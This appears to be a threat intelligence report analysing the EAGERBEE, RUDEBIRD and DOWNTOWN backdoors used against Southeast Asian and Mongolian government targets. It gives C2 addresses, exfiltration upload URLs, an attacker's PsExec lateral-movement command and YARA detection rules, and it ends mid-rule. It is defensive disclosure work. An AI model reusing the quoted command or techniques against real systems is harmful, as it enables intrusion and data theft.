<p>The samples in this research were discovered to be co-residents with a previously reported intrusion set, REF2924 (original reporting <a href="https://www.elastic.co/kr/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">here</a> and updated <a href="https://www.elastic.co/kr/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns">here</a>). The victim is the Foreign Affairs Ministry of a member of the Association of Southeast Asian Nations (ASEAN).</p>
<p>Elastic Security Labs describes the operators of the REF2924 and REF5961 intrusion sets as state-sponsored and espionage-motivated due to observed targeting and post-exploitation collection activity. Further, the correlation of execution flows, tooling, infrastructure, and victimology of multiple campaigns we’re tracking along with numerous third-party reports makes us confident this is a China-nexus actor.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image27.jpg" alt="REF5961 intrusion execution flow" /></p>
<p>Part of this intrusion set includes a new x86-based backdoor called BLOODALCHEMY, and it is covered in depth <a href="https://www.elastic.co/kr/security-labs/disclosing-the-bloodalchemy-backdoor">here</a>.</p>
<h2>Key takeaways</h2>
<ul>
<li>Elastic Security Labs is disclosing three new malware families:
<ul>
<li>EAGERBEE</li>
<li>RUDEBIRD</li>
<li>DOWNTOWN</li>
</ul>
</li>
<li>Code sharing and network infrastructure have connected malware in this intrusion set to other campaigns</li>
<li>The threat actors targeting ASEAN governments and organizations continue to develop and deploy additional capabilities</li>
</ul>
<h2>EAGERBEE</h2>
<p>EAGERBEE is a newly identified backdoor discovered by Elastic Security Labs that loads additional capabilities using remotely-downloaded PE files, hosted in C2. However, its implementation and coding practices reveal a lack of advanced skills from the author, relying on basic techniques.</p>
<p>During our research outlined below, we identified string formatting and underlying behavior that aligns with previous research attributed to a Chinese-speaking threat actor referred to as <a href="https://malpedia.caad.fkie.fraunhofer.de/actor/apt27">LuckyMouse</a> (APT27, EmissaryPanda).</p>
<h3>Code analysis</h3>
<p>EAGERBEE dynamically constructs its Import Address Table (IAT) during runtime, populating a designated data structure with the memory addresses of essential Windows APIs that the malware needs.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image25.png" alt="EAGERBEE dynamically constructs its Import Address Table" /></p>
<p><strong><em>Note: Dynamic import tables are used as an anti-analysis technique by malware authors to impair static analysis of their binaries. These techniques prevent most static analysis software from determining the imports and thus force analysts through laborious manual methods to determine what the malware is doing.</em></strong></p>
<p>After resolving all the required Windows APIs, the malware creates a mutex with the string <code>mstoolFtip32W</code> to prevent multiple instances of the malware from running on the same machine.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image1.png" alt="Mutex setup" /></p>
<p>The malware gathers key information about the compromised system:</p>
<ul>
<li>The computer's name is obtained using the <code>GetComputerNameW</code> function</li>
<li>The malware retrieves the Windows version by utilizing the <code>GetVersionExW</code> function</li>
<li>A globally unique identifier (GUID) is generated through the <code>CoCreateGuid</code> function</li>
<li>The processor architecture information is acquired using the <code>GetNativeSystemInfo</code> function</li>
<li>The ProductName, EditionID, and CurrentBuildNumber are extracted from the designated registry key <code>SOFTWARE\Microsoft\Windows NT\CurrentVersion</code></li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image19.png" alt="Information collection" /></p>
<p>The sample’s operational schedule is controlled by the string <code>0-5:00:23;6:00:23;</code>. In our sample the malware conforms to the outlined schedule using the ISO 8601 24-hour timekeeping system:</p>
<ul>
<li>active from Sunday(0) to Friday(5)</li>
<li>all hours between 00 and 23</li>
<li>Saturday(6) all hours between 00 and 23</li>
</ul>
<p>This functionality allows the malware to impose self-restrictions during specific timeframes, showcasing both its adaptability and control.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image3.png" alt="Configuration scheduling" /></p>
<p>The malware's C2 addresses are either hardcoded values or stored in an XOR-encrypted file named <code>c:\users\public\iconcache.mui</code>. This file is decrypted using the first character as the decryption key.</p>
<p>This configuration file contains a list of semicolon-delimited IP addresses. The format adheres to the structure <code>IP:PORT</code>, where the character <code>s</code> is optional and instructs the malware to open a Secure Socket Layer (SSL) for encrypted communication between C2 and the malware.
<img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image18.png" alt="Malware’s hardcoded configuration of C2 IPs" /></p>
<p>The configuration optionally accepts a list of port numbers on which the malware will listen. The specific configuration mode, whether it's for reverse or forward connections, determines this behavior.</p>
<p>A configuration flag is embedded directly into the code in both operating modes. This flag empowers the malware to select between utilizing SSL encryption during its interactions with the C2 server or plain text communication.</p>
<p>In passive listening mode, the malware opens a listening socket on the port indicated in its configuration.</p>
<p>When operating in active connection mode, the malware attempts to load its configuration from the file <code>c:\users\public\iconcache.mui</code>. In the event that this file is not found, the malware falls back to its hardcoded configuration to acquire the necessary IPs</p>
<p>The author employs a global variable embedded in the source code to select between modes. Importantly, both are included in the binary, with only one being executed based on the selection. Leaving this dormant capability in the binary may have been a mistake, but one that helps researchers understand the technical maturity of this group. Generally speaking, malware authors benefit from removing unused code that may be used against them.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image16.png" alt="Both forward and reverse connection functionalities are present in the binary" /></p>
<p><strong><em>Note: In C programming, modularity is achieved through the use of #define directives to selectively include or exclude code parts in the compiled binary. However, the malware developer employed a less advisable approach in this case. They utilized static global variables whose values are set during compilation. Consequently, the resulting binary contains both utilized and unused functions. During runtime, the binary assesses the value of these static global variables to determine its behavior. Though functional, this is neither the best programming nor tradecraft practice as it permits analysis and detection engineering of code used outside the identified intrusion.</em></strong></p>
<p>The malware has the capability to detect the presence of an HTTP proxy configuration on the host machine by inspecting the <code>ProxyEnable</code> registry key within <code>Software\Microsoft\windows\CurrentVersion\Internet Settings</code>. If this key value is set to <code>1</code>, the malware extracts the information in the <code>ProxyServer</code> key.</p>
<p>If no proxy server is set, the malware connects directly to C2.</p>
<p>However, if the proxy settings are defined, the malware also initializes the proxy by sending a <code>CONNECT</code> request, and its data to the configured destination. The malware author made a typo in the HTTP request code; they mistakenly wrote <code>DONNECT</code> instead of <code>CONNECT</code> in the HTTP request string in the binary. This is a reliably unique indicator for those analyzing network captures.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image12.png" alt="HTTP request string to connect to the setup proxy" /></p>
<p>Upon establishing a connection to C2, The malware downloads executable files from C2, likely pushed automatically. It validates that each executable is 64bit, then extracts the entry point and modifies memory protections to allow execution using the VirtualProtect API.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image7.png" alt="Payload execution in the same process" /></p>
<h3>EAGERBEE connection to a Mongolian campaign</h3>
<p>During our EAGERBEE analysis, we also saw an additional two (previously unnamed) EAGERBEE <a href="https://www.virustotal.com/gui/search/09005775FC587AC7BF150C05352E59DC01008B7BF8C1D870D1CEA87561AA0B06%250AA191D8059E93C0AB479DE45CDD91C41B985F9BCCD7B2CAD9F171FEA1C5F19E2E/files">samples</a> involved in a targeted campaign focused on Mongolia. These two EAGERBEE samples were both respectively bundled with other files and used a similar naming convention (<code>iconcache.mui</code> for EAGERBEE and <code>iconcaches.mui</code> in the Mongolian campaign). The samples consisted of multiple files and a lure document.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image15.png" alt="Decompressed files inside Mongolian campaign sample" /></p>
<p>While analyzing the Mongolian campaign samples, we found a previous <a href="https://www.virustotal.com/gui/url/7e0d899d54c6a0f43fbac0e633d821eefa9057e29df8c4956321fe947daaaa54">webpage</a> (<code>http://president[.]mn/en/ebooksheets.php</code>) hosted under Mongolian infrastructure serving a <a href="https://www.virustotal.com/gui/file/af8cb76d9d955d654ec89b85d1ab35e1886ec2ba1a8c600a451d1bd383fb4e66/detection">RAR file</a> named <code>20220921_2.rar</code>. Given the VirusTotal scan date of the file and the filename, it is likely to have been created in September 2022.</p>
<p>The lure text is centered around the regulations for the “Billion Trees National Movement Fund” and has been an important <a href="https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/">topic</a> in recent years related to an initiative taken on by Mongolia. To address food security, climate impacts, and naturally occurring but accelerating desertification, Mongolia’s government has undertaken an ambitious goal of planting one billion trees throughout the country.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image5.png" alt="Lure document" /></p>
<p>For this infection chain, they leveraged a signed Kaspersky application in order to sideload a <a href="https://www.virustotal.com/gui/file/4b3dc8609cba089e666b2086264e6f71dada57fdb3f160d2f5e546881a278766/relations">malicious DLL</a>. Upon execution, sensitive data and files were collected from the machine and uploaded to a hard-coded Mongolian government URL (<code>www.president[.]mn/upload.php</code>) via cURL. Persistence is configured using a Registry Run Key.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image14.png" alt="Hard-coded domain in first sample" /></p>
<p><strong><em>Note: Though it does not contain the .gov second-level domain, <a href="http://www.president%5B.%5Dmn">www.president[.]mn</a> does appear to be the official domain of the President of Mongolia, and is hosted within government infrastructure. Abuse email is directed to <a href="mailto:oyunbold@datacenter.gov">oyunbold@datacenter.gov</a>[.]mn which appears to be legitimate.</em></strong> Based on string formatting and underlying behavior, this sample aligns with public <a href="https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/">reporting</a> from AVAST related to a utility they call DataExtractor1.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image9.png" alt="Sensitive file collection on different drives" /></p>
<p>While we didn’t find a WinRAR archive for the other linked sample, we found this related <a href="https://www.virustotal.com/gui/file/a191d8059e93c0ab479de45cdd91c41b985f9bccd7b2cad9f171fea1c5f19e2e">executable</a>. It functions similarly, using a different callback domain hosted on Mongolian infrastructure (<code>https://intranet.gov[.]mn/upload.php</code>).</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image13.png" alt="Hard-coded domain in the second sample" /></p>
<p>While it is not clear how this infrastructure was compromised or the extent to which it has been used, impersonating trusted systems may have enabled the threat to compromise other victims and collect intelligence.</p>
<h3>EAGERBEE Summary</h3>
<p>EAGERBEE is a technically straightforward backdoor with forward and reverse C2 and SSL encryption capabilities, used to conduct basic system enumeration and deliver subsequent executables for post-exploitation. The C2 mode is defined at compile time, and configurable with an associated config file with hardcoded fallback.</p>
<p>Using code overlap analysis, and the fact that EAGERBEE was bundled with other samples from VirusTotal, we identified a C2 server hosted on Mongolian government infrastructure. The associated lure documents also reference Mongolian government policy initiatives. This leads us to believe that the Mongolian government or non-governmental organizations (NGOs) may have been targeted by the REF2924 threat actor.</p>
<h2>RUDEBIRD</h2>
<p>Within the contested REF2924 environment, Elastic Security Labs identified a lightweight Windows backdoor that communicates over HTTPS and contains capabilities to perform reconnaissance and execute code. We refer to this malware family as RUDEBIRD.</p>
<h3>Initial execution</h3>
<p>The backdoor was executed by a file with an invalid signature, <code>C:\Windows\help\RVTDM.exe</code>, which resembles the Sysinternals screen magnifier utility ZoomIt. Shortly after being executed, Elastic Defend registered a process injection alert.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image28.png" alt="PE signature and original filename details of RVTDM.exe" /></p>
<p>The process was executed with the parent process (<code>w3wp.exe</code>) coming from a Microsoft Exchange application pool. This is consistent with the exploitation of an unpatched Exchange vulnerability, and prior research supports that hypothesis.</p>
<h3>Lateral movement</h3>
<p>RUDEBIRD used PsExec (<code>exec.exe</code>) to execute itself from the SYSTEM account and then move laterally from victim 0 to another targeted host. It is unclear if PsExec was brought to the environment by the threat actor or if it was already present in the environment.</p>
<p><code>&quot;C:\windows\help\exec.exe&quot; /accepteula \\{victim-1} -d -s C:\windows\debug\RVTDM.EXE</code></p>
<h3>Code analysis</h3>
<p>RUDEIBIRD is composed of shellcode that resolves imports dynamically by accessing the Thread Environment Block (TEB) / Process Environment Block (PEB) and walking the loaded modules to find base addresses for the <code>kernel32.dll</code> and <code>ntdll.dll</code> modules. These system DLLs contain crucial functions that will be located by the malware in order to interact with the Windows operating system.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image22.png" alt="Resolving imports using TEB/PEB" /></p>
<p>RUDEBIRD uses a straightforward API hashing algorithm with multiplication (<code>0x21</code>) and addition that is <a href="https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py">publicly available</a> from OALabs. This provides defense against static-analysis tools that analysts may use to inspect the import table and discern what capabilities a binary has.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image11.png" alt="RUDEBIRD API Hashing algorithm" /></p>
<p>After resolving the libraries, there is an initial enumeration function that collects several pieces of information including:</p>
<ul>
<li>Hostname</li>
<li>Computer name</li>
<li>Username</li>
<li>IP Address</li>
<li>System architecture</li>
<li>Privilege of the current user</li>
</ul>
<p>For some functions that return larger amounts of data, the malware implements compression using <code>RtlCompressBuffer</code>. The malware communicates using HTTPS to IP addresses loaded in memory from its configuration. We observed two IP addresses in the configuration in our sample:</p>
<ul>
<li><code>45.90.58[.]103</code></li>
<li><code>185.195.237[.]123</code></li>
</ul>
<p>Strangely, there are several functions throughout the program that include calls to <code>OutputDebugStringA</code>. This function is typically used during the development phase and serves as a mechanism to send strings to a debugger while testing a program. Normally, these debug messages are expected to be removed after development is finished. For example, the result of the administrator check is printed if run inside a debugger.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image21.png" alt="RUDEBIRD debug string" /></p>
<p>RUDEBIRD uses mutexes to maintain synchronization throughout its execution. On launch, the mutex is set to <code>VV.0</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image24.png" alt="RUDEBIRD mutex" /></p>
<p>After the initial enumeration stage, RUDEBIRD operates as a traditional backdoor with the following capabilities:</p>
<ul>
<li>Retrieve victim’s desktop directory path</li>
<li>Retrieve disk volume information</li>
<li>Perform file/directory enumeration</li>
<li>Perform file operations such as reading/writing file content</li>
<li>Launch new processes</li>
<li>File/folder operations such as creating new directories, move/copy/delete/rename files</li>
<li>Beacon timeout option</li>
</ul>
<h2>DOWNTOWN (SManager/PhantomNet)</h2>
<p>In the REF2924 environment, we observed a modular implant we call DOWNTOWN. This sample shares a plugin architecture, and code similarities, and aligns with the victimology described in the publicly reported malware <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager">SManager/PhantomNet</a>. While we have little visibility into the impacts of its overall use, we wanted to share any details that may help the community.</p>
<p>SManager/PhantomNet has been attributed to <a href="https://malpedia.caad.fkie.fraunhofer.de/actor/ta428">TA428</a> (Colourful Panda, BRONZE DUDLEY), a threat actor likely sponsored by the Chinese government. Because of the shared plugin architecture, code similarities, and victimology, we are attributing DOWNTOWN with a moderate degree of confidence to a nationally sponsored Chinese threat actor.</p>
<h3>Code analysis</h3>
<p>For DOWNTOWN, we collected the plugin from a larger framework. This distinction is made based on unique and shared exports from previously published <a href="https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/">research</a> by ESET. One of the exports contains the same misspelling previously identified in the ESET blog, <code>GetPluginInfomation</code> (note: <code>Infomation</code> is missing an <code>r</code>). The victimology of REF2924 is consistent with their reported victim vertical and region.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image8.png" alt="DOWNTOWN exports" /></p>
<p>In our sample, the plugin is labeled as “ExplorerManager”.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image26.png" alt="GetPlugInfomation export" /></p>
<p>The majority of the code appears to be centered around middleware functionality (linked lists, memory management, and thread synchronization) used to task the malware.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image4.png" alt="Strings found inside DOWNTOWN sample" /></p>
<p>In a similar fashion to RUDEBIRD above, DOWNTOWN also included the debug functionality using  <code>OutputDebugStringA</code>. Again, debugging frameworks are usually removed once the software is moved from development to production status. This could indicate that this module is still in active development or a lack of operational scrutiny by the malware author(s).</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image2.png" alt="OutputDebugStringA usage" /></p>
<p>Some functionality observed in the sample included:</p>
<ul>
<li>File/folder enumeration</li>
<li>Disk enumeration</li>
<li>File operations (delete/execute/rename/copy)</li>
</ul>
<p>Unfortunately, our team did not encounter any network/communication functionality or find any domain or IP addresses tied to this sample.</p>
<h3>DOWNTOWN Summary</h3>
<p>DOWNTOWN is part of a modular framework that shows probable ties to an established threat group. The observed plugin appears to provide middleware functionality to the main implant and contains several functions to perform enumeration.</p>
<h2>Network infrastructure intersection</h2>
<p>When performing an analysis of the network infrastructure for EAGERBEE and RUDEBIRD, we identified similarities in the domain hosting provider, subdomain naming, registration dates, and service enablement between the two malware families’ C2 infrastructure. Additionally, we were able to use TLS leaf certificate fingerprints to establish another connection between EAGERBEE and the Mongolian campaign infrastructure.</p>
<h3>Shared network infrastructure</h3>
<p>As identified in the malware analysis section for EAGERBEE, there were two IP addresses used for C2: <code>185.82.217[.]164</code> and <code>195.123.245[.]79</code>.</p>
<p>Of the two, <code>185.82.217[.]164</code> had an expired TLS certificate registered to it for <code>paper.hosted-by-bay[.]net</code>. The subdomain registration for <code>paper.hosted-by-bay[.]net</code> and the TLS certificate were registered on December 14, 2020.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image17.jpg" alt="paper.hosted-by-bay[.]net TLS certificate" /></p>
<p>As identified in the malware analysis section for RUDEBIRD, there were two IP addresses used for C2: <code>45.90.58[.]103</code> and <code>185.195.237[.]123</code>.</p>
<p><code>45.90.58[.]103</code> was used to register the subdomain <code>news.hosted-by-bay[.]net</code>, on December 13, 2020.</p>
<p>Both IP addresses (one from EAGERBEE and one from RUDEBIRD) were assigned to subdomains (<code>paper.hosted-by-bay[.]net</code> and <code>news.hosted-by-bay[.]net</code>) within one day at the domain <code>hosted-by-bay[.]net</code>.</p>
<p><strong><em>Note: While <code>195.123.245[.]79</code> (EAGERBEE) and <code>185.195.237[.]123</code> (RUDEBIRD) are malicious, we were unable to identify anything atypical of normal C2 nodes. They used the same defense evasion technique (described below) used by <code>185.82.217[.]164</code> (EAGERBEE) and <code>45.90.58[.]103</code> (RUDEBIRD).</em></strong></p>
<h3>Domain analysis</h3>
<p>When performing an analysis of the <code>hosted-by-bay[.]net</code> domain, we see that it is registered to the IP address <code>45.133.194[.]106</code>. This IP address exposes two TCP ports, one is the expected TLS port of <code>443</code>, and the other is <code>62753</code>.</p>
<p><strong><em>Note: Port <code>443</code> has a Let’s Encrypt TLS certificate for <code>paypal.goodspaypal[.]com</code>. This domain does not appear to be related to this research but should be categorized as malicious based on its registration to this IP.</em></strong></p>
<p>On port <code>62753</code>, there was a self-signed wildcard TLS leaf certificate with a fingerprint of <code>d218680140ad2c6e947bf16020c0d36d3216f6fc7370c366ebe841c02d889a59</code> (<code>*.REDACTED[.]mn</code>). This fingerprint is used for one host, <code>shop.REDACTED[.]mn</code>. The 10-year TLS certificate was registered on December 13, 2020.</p>
<pre><code>Validity
Not Before: 2020-12-13 11:53:20
Not After: 2030-12-11 11:53:20
Subject: CN=shop.REDACTED[.]mn
</code></pre>
<p><code>.mn</code> is the Internet ccTLD for Mongolia and REDACTED is a large bank in Mongolia. When researching the network infrastructure for REDACTED, we can see that they do currently own their DNS infrastructure.</p>
<p>It does not appear that <code>shop.REDACTED[.]mn</code> was ever registered. This self-signed TLS certificate was likely used to encrypt C2 traffic. While we cannot confirm that this certificate was used for EAGERBEE or RUDEBIRD, in the malware code analysis of both EAGERBEE and RUDEBIRD, we identified that TLS to an IP address is an available malware configuration option. We do believe that this domain is related to EAGERBEE and RUDEBIRD based on the registration dates, IP addresses, and subdomains of the <code>hosted-by-bay[.]net</code> domain.</p>
<p>As noted in the EAGERBEE malware analysis, we identified two other previously unnamed EAGERBEE samples used to target Mongolian victims and also leveraged Mongolian C2 infrastructure.</p>
<h3>Defense evasion</h3>
<p>Finally, we see all of the C2 IP addresses add and remove services at similar dates and times. This is a tactic to hinder the analysis of the C2 infrastructure by limiting its availability. It should be noted that the history of the service enablement and disablement (provided by <a href="https://search.censys.io/">Censys.io</a> databases) is meant to show possible coordination in C2 availability. The images below show the last service change windows, further historical data was not available.</p>
<p><code>192.123.245[.]79</code> had TCP port <code>80</code> enabled on September 22, 2023 at 07:31 and then disabled on September 24, 2023 at 07:42.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image6.jpg" alt="192.123.245[.]79 C2 service windows" /></p>
<p><code>185.195.237[.]123</code> had TCP port <code>443</code> enabled on September 22, 2023 at 03:33 and then disabled on September 25, 2023 at 08:08.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image23.jpg" alt="185.195.237[.]123 C2 service windows" /></p>
<p><code>185.82.217[.]164</code> had TCP port <code>443</code> enabled on September 22, 2023 at 08:49 and then disabled on September 25, 2023 at 01:02.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image20.jpg" alt="185.82.217[.]164 C2 service windows" /></p>
<p><code>45.90.58[.]103</code> had TCP port <code>443</code> enabled on September 22, 2023 at 04:46 and then disabled on September 24, 2023 at 09:57.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image10.jpg" alt="45.90.58[.]103 C2 service windows" /></p>
<h3>Network intersection summary</h3>
<p>EAGERBEE and RUDEBIRD are two malware samples, co-resident on the same infected endpoint, in the same environment. This alone builds a strong association between the families.</p>
<p>When adding the fact that both families use C2 endpoints that have been used to register subdomains on the same domain <code>hosted-by-bay[.]net</code>), and the service availability coordination, leads us to say with a high degree of confidence that the malware and campaign operators are from the same tasking authority, or organizational umbrella.</p>
<h2>Summary</h2>
<p>EAGERBEE, RUDEBIRD, and DOWNTOWN backdoors all exhibit characteristics of incompleteness whether using “Test” in file/service names, ignoring compilation best practices, leaving orphaned code, or leaving a smattering of extraneous debug statements.</p>
<p>They all, however, deliver similar tactical capabilities in the context of this environment.</p>
<ul>
<li>Local enumeration</li>
<li>Persistence</li>
<li>Download/execute additional tooling</li>
<li>C2 options</li>
</ul>
<p>The variety of tooling performing the same or similar tasks with varying degrees and types of miscues causes us to speculate that this environment has attracted the interest of multiple players in the REF2924 threat actor’s organization. The victim's status as a government diplomatic agency would make it an ideal candidate as a stepping-off point to other targets within and outside the agency’s national borders. Additionally, it is easy to imagine that multiple entities within a national intelligence apparatus would have collection requirements that could be satisfied by this victim directly.</p>
<p>This environment has already seen the emergence of the REF2924 intrusion set (SIESTAGRAPH, NAPLISTENER, SOMNIRECORD, and DOORME), as well as the deployment of SHADOWPAD and COBALTSTRIKE. The REF2924 and REF5961 threat actor(s) continue to deploy new malware into their government victim’s environment.</p>
<h2>REF5961 and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advance persistent threats used against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li>EAGERBEE
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
</ul>
</li>
<li>RUDEBIRD
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral Movement</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
</ul>
</li>
<li>DOWNTOWN
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
</ul>
</li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li>EAGERBEE
<ul>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
<li><a href="https://attack.mitre.org/techniques/T1090/">Proxy</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
</ul>
</li>
<li>RUDEBIRD
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0007/#:~:text=T1083-,File%20and%20Directory%20Discovery,-Adversaries%20may%20enumerate">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059">Command and Scripting Interpreter</a></li>
<li><a href="https://attack.mitre.org/techniques/T1570/">Lateral Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1005">Data from Local System</a></li>
</ul>
</li>
<li>DOWNTOWN
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0007/#:~:text=T1083-,File%20and%20Directory%20Discovery,-Adversaries%20may%20enumerate">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082">System Information Discovery</a></li>
</ul>
</li>
</ul>
<h2>Malware prevention capabilities</h2>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_EagerBee.yar">EAGERBEE</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_RudeBird.yar">RUDEBIRD</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DownTown.yar">DOWNTOWN</a></li>
</ul>
<h2>YARA</h2>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the EAGERBEE, RUDEBIRD, and DOWNTOWN malware:</p>
<h3>EAGERBEE</h3>
<pre><code>rule Windows_Trojan_EagerBee_1 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-09&quot;
        last_modified = &quot;2023-06-13&quot;
        threat_name = &quot;Windows.Trojan.EagerBee&quot;
        reference_sample = &quot;09005775fc587ac7bf150c05352e59dc01008b7bf8c1d870d1cea87561aa0b06&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

    strings:
        $a1 = { C2 EB D6 0F B7 C2 48 8D 0C 80 41 8B 44 CB 14 41 2B 44 CB 0C 41 }
        $a2 = { C8 75 04 33 C0 EB 7C 48 63 41 3C 8B 94 08 88 00 00 00 48 03 D1 8B }

    condition:
        all of them
}

rule Windows_Trojan_EagerBee_2 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-09-04&quot;
        last_modified = &quot;2023-09-20&quot;
        threat_name = &quot;Windows.Trojan.EagerBee&quot;
        reference_sample = &quot;339e4fdbccb65b0b06a1421c719300a8da844789a2016d58e8ce4227cb5dc91b&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

    strings:
        $dexor_config_file = { 48 FF C0 8D 51 FF 44 30 00 49 03 C4 49 2B D4 ?? ?? 48 8D 4F 01 48 }
        $parse_config = { 80 7C 14 20 3A ?? ?? ?? ?? ?? ?? 45 03 C4 49 03 D4 49 63 C0 48 3B C1 }
        $parse_proxy1 = { 44 88 7C 24 31 44 88 7C 24 32 48 F7 D1 C6 44 24 33 70 C6 44 24 34 3D 88 5C 24 35 48 83 F9 01 }
        $parse_proxy2 = { 33 C0 48 8D BC 24 F0 00 00 00 49 8B CE F2 AE 8B D3 48 F7 D1 48 83 E9 01 48 8B F9 }

    condition:
        2 of them
}
</code></pre>
<h3>RUDEBIRD</h3>
<pre><code>rule Windows_Trojan_RudeBird {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-09&quot;
        last_modified = &quot;2023-06-13&quot;
        threat_name = &quot;Windows.Trojan.RudeBird&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

  strings:
        $a1 = { 40 53 48 83 EC 20 48 8B D9 B9 D8 00 00 00 E8 FD C1 FF FF 48 8B C8 33 C0 48 85 C9 74 05 E8 3A F2 }

    condition:
        all of them
}
</code></pre>
<h3>DOWNTOWN</h3>
<pre><code>rule Windows_Trojan_DownTown_1 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-10&quot;
        last_modified = &quot;2023-06-13&quot;
        threat_name = &quot;Windows.Trojan.DownTown&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

    strings:
        $a1 = &quot;SendFileBuffer error -1 !!!&quot; fullword
        $a2 = &quot;ScheduledDownloadTasks CODE_FILE_VIEW &quot; fullword
        $a3 = &quot;ExplorerManagerC.dll&quot; fullword

    condition:
        3 of them
}

rule Windows_Trojan_DownTown_2 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-08-23&quot;
        last_modified = &quot;2023-09-20&quot;
